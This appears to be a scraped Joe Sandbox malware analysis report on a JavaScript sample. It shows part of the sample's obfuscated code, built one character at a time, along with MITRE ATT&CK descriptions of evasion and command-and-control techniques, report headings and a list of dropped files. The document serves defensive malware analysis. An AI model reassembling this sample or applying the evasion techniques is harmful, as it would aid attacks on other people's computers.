176	rptikqab = "G";
177	rptikqab = "R";
178	rptikqab = "&";
179	yootf = "F";
180	yootf = "W";
181	yootf = "g";
182	yootf = "l";
183	yootf = "w";
184	yootf = "I";
185	yootf = "q";
186	yootf = "n";
187	yootf = "\"";
188	gvdvzk = "m";
189	gvdvzk = "t";
190	gvdvzk = "a";
191	gvdvzk = "e";
192	gvdvzk = "g";
193	gvdvzk = "V";
194	gvdvzk = "l";
195	gvdvzk = "t";
196	gvdvzk = "\\";
197	vpqfksfw = "u";
198	vpqfksfw = "L";
199	vpqfksfw = "c";
200	vpqfksfw = "C";
201	vpqfksfw = "J";
202	vpqfksfw = "C";
203	vpqfksfw = "k";
204	vpqfksfw = "j";
205	vpqfksfw = "C";
206	vpqfksfw = "K";
207	balsgmml = "H";
208	balsgmml = "p";
209	balsgmml = "S";
210	balsgmml = "Z";
211	balsgmml = "n";
212	balsgmml = "G";
213	balsgmml = "R";
214	balsgmml = "r";
215	balsgmml = "y";
216	balsgmml = "h";
217	nuvmi = "c";
218	nuvmi = "j";
219	nuvmi = "G";
220	nuvmi = "Y";
221	nuvmi = "m";
222	nuvmi = "N";
223	nuvmi = "V";
224	nuvmi = "1";
225	uztcaau = "y";
226	uztcaau = "e";
227	uztcaau = "T";
228	uztcaau = "U";
229	uztcaau = "V";
230	uztcaau = "x";
231	ejnfejoai = "a";
232	ejnfejoai = "M";
233	ejnfejoai = "t";
234	ejnfejoai = "z";
235	ejnfejoai = "s";
236	ejnfejoai = "a";
237	ejnfejoai = "A";
238	ejnfejoai = "a";
239	ejnfejoai = "8";
240	qgftyqc = "C";
241	qgftyqc = "P";
242	qgftyqc = "L";
243	qgftyqc = "v";
244	qgftyqc = "y";
245	qgftyqc = "H";
246	qgftyqc = ".";
247	fgnrnpacy = "B";
248	fgnrnpacy = "R";
249	fgnrnpacy = "n";
250	fgnrnpacy = "I";
251	fgnrnpacy = "B";
252	fgnrnpacy = "q";
253	fgnrnpacy = "K";
254	fgnrnpacy = "S";
255	jrhzmkeg = "z";
256	jrhzmkeg = "s";
257	jrhzmkeg = "J";
258	jrhzmkeg = "k";
259	jrhzmkeg = "F";
260	jrhzmkeg = "x";
261	jrhzmkeg = "j";
262	jrhzmkeg = "v";
263	udehb = "H";
264	udehb = "N";
265	udehb = "B";
266	udehb = "B";
267	udehb = "I";
268	udehb = "Q";
269	udehb = "s";
270	udehb = "q";
271	rwitu = "r";
272	rwitu = "W";
273	rwitu = "e";
274	rwitu = "v";
275	rwitu = "h";
276	rwitu = "W";
277	womee = "L";
278	womee = "W";
279	womee = "c";
280	womee = "J";
281	womee = "e";
282	womee = "w";
283	womee = "f";
284	womee = "d";
285	womee = "b";
286	uatehir = "u";
287	uatehir = "f";
288	uatehir = "o";
289	uatehir = "G";
290	uatehir = "B";
291	uatehir = "O";
292	uatehir = "v";
293	uatehir = "H";
294	uatehir = "0";
295	omhhuhwfx = "M";
296	omhhuhwfx = "X";
297	omhhuhwfx = "d";
298	omhhuhwfx = "Q";
299	omhhuhwfx = "P";
300	omhhuhwfx = "W";
301	omhhuhwfx = "M";
302	omhhuhwfx = "m";
303	omhhuhwfx = "m";
304	omhhuhwfx = "4";
305	ffxhrykvy = "G";
306	ffxhrykvy = "r";
307	ffxhrykvy = "k";
308	ffxhrykvy = "e";
309	ffxhrykvy = "b";
310	ffxhrykvy = "S";
311	ffxhrykvy = "a";
312	ffxhrykvy = "g";
313	stvwlra = "D";
314	stvwlra = "v";
315	stvwlra = "d";
316	stvwlra = "M";
317	stvwlra = "V";
318	stvwlra = "C";
319	stvwlra = "J";
320	stvwlra = "S";
321	stvwlra = "9";
322	yqorvb = "t";
323	yqorvb = "x";
324	yqorvb = "D";
325	yqorvb = "k";
326	yqorvb = "o";
327	yqorvb = "t";
328	yqorvb = "H";
329	lxdcdjxq = "V";
330	lxdcdjxq = "p";
331	lxdcdjxq = "M";
332	lxdcdjxq = "q";
333	lxdcdjxq = "F";
334	lxdcdjxq = "d";
335	lxdcdjxq = "6";
336	hoojrlv = "n";
337	hoojrlv = "H";
338	hoojrlv = "R";
339	hoojrlv = "y";
340	hoojrlv = "N";
341	hoojrlv = "f";
342	ivprbjg = "b";
343	ivprbjg = "Q";
344	ivprbjg = "b";
345	ivprbjg = "z";
346	ivprbjg = "n";
347	ivprbjg = "r";
348	ivprbjg = " ";
349	kydsu = "U";
350	kydsu = "e";
351	kydsu = "e";
352	kydsu = "h";
353	kydsu = "X";
354	kydsu = "r";
355	kydsu = "V";
356	kydsu = "/";
357	xelmoqxp = "e";
358	xelmoqxp = "F";
359	xelmoqxp = "W";
360	xelmoqxp = "M";
361	xelmoqxp = "F";
362	xelmoqxp = "e";
363	xelmoqxp = "j";
364	xelmoqxp = "R";
365	ngudymmfo = "I";
366	ngudymmfo = "O";
367	ngudymmfo = "x";
368	ngudymmfo = "Z";
369	ngudymmfo = "U";
370	ngudymmfo = "B";
371	ngudymmfo = "A";
372	ngudymmfo = "X";
373	ngudymmfo = "5";
374	pjbpusd = "g";
375	pjbpusd = "v";
376	pjbpusd = "O";
377	pjbpusd = "a";
378	pjbpusd = "T";
379	pjbpusd = "U";
380	pjbpusd = "p";
381	rqalblac = "I";
382	rqalblac = "O";
383	rqalblac = "q";
384	rqalblac = "F";
385	rqalblac = "k";
386	rqalblac = "-";
387	dxceb = "V";
388	dxceb = "x";
389	dxceb = "T";
390	dxceb = "E";
391	dxceb = "R";
392	dxceb = "K";
393	dxceb = "o";
394	dxceb = "2";
395	kldpcyr = "X";
396	kldpcyr = "J";
397	kldpcyr = "u";
398	kldpcyr = "n";
399	kldpcyr = "I";
400	kldpcyr = "x";
401	kldpcyr = "r";
402	vsdhkea = "F";
403	vsdhkea = "E";
404	vsdhkea = "U";
405	vsdhkea = "N";
406	vsdhkea = "E";
407	vsdhkea = "O";
408	iqpbs = "o";
409	iqpbs = "Y";
410	iqpbs = "u";
411	iqpbs = "K";
412	iqpbs = "D";
413	iqpbs = "t";
414	rlarw = "E";
415	rlarw = "m";
416	rlarw = "o";
417	rlarw = "Y";
418	rlarw = "x";
419	rlarw = "u";
420	rcmbdus = "t";
421	rcmbdus = "D";
422	rcmbdus = "f";
423	rcmbdus = "T";
424	rcmbdus = "c";
425	rcmbdus = "C";
426	rcmbdus = "B";
427	rcmbdus = "F";
428	rcmbdus = "a";
429	xzwvxdf = "i";
430	xzwvxdf = "H";
431	xzwvxdf = "Z";
432	xzwvxdf = "a";
433	xzwvxdf = "h";
434	xzwvxdf = "z";
435	xzwvxdf = "D";
436	xzwvxdf = "c";
437	xzwvxdf = "G";
438	xzwvxdf = "d";
439	dahxwijxq = "N";
440	dahxwijxq = "u";
441	dahxwijxq = "O";
442	dahxwijxq = "K";
443	dahxwijxq = "N";
444	dahxwijxq = "o";
445	dahxwijxq = "m";
446	gkybs = "K";
447	gkybs = "O";
448	gkybs = "s";
449	gkybs = "U";
450	gkybs = "Y";
451	gkybs = "W";
452	gkybs = "l";
453	gkybs = "P";
454	gkybs = "d";
455	gkybs = "j";
456	kzmot = "X";
457	kzmot = "L";
458	kzmot = "o";
459	kzmot = "E";
460	kzmot = "x";
461	kzmot = "D";
462	kzmot = "o";
463	kzmot = "N";
464	fszmmqc = "U";
465	fszmmqc = "z";
466	fszmmqc = "j";
467	fszmmqc = "O";
468	fszmmqc = "J";
469	fszmmqc = "k";
470	fszmmqc = "c";
471	fszmmqc = "J";
472	fszmmqc = "C";
473	fszmmqc = "I";
474	nrnggstzv = "p";
475	nrnggstzv = "I";
476	nrnggstzv = "a";
477	nrnggstzv = "o";
478	nrnggstzv = "c";
479	nrnggstzv = "m";
480	nrnggstzv = "F";
481	nrnggstzv = "h";
482	nrnggstzv = "e";
483	mnxrc = "T";
484	mnxrc = "k";
485	mnxrc = "P";
486	mnxrc = "M";
487	mnxrc = "q";
488	mnxrc = "Q";
489	mnxrc = "V";
490	mnxrc = "i";
491	egtukze ( );	egtukze() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3062912729105825642.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e7c39b57-08ac-49ca-858a-7e472773334d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3560

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
3062912729105825642.js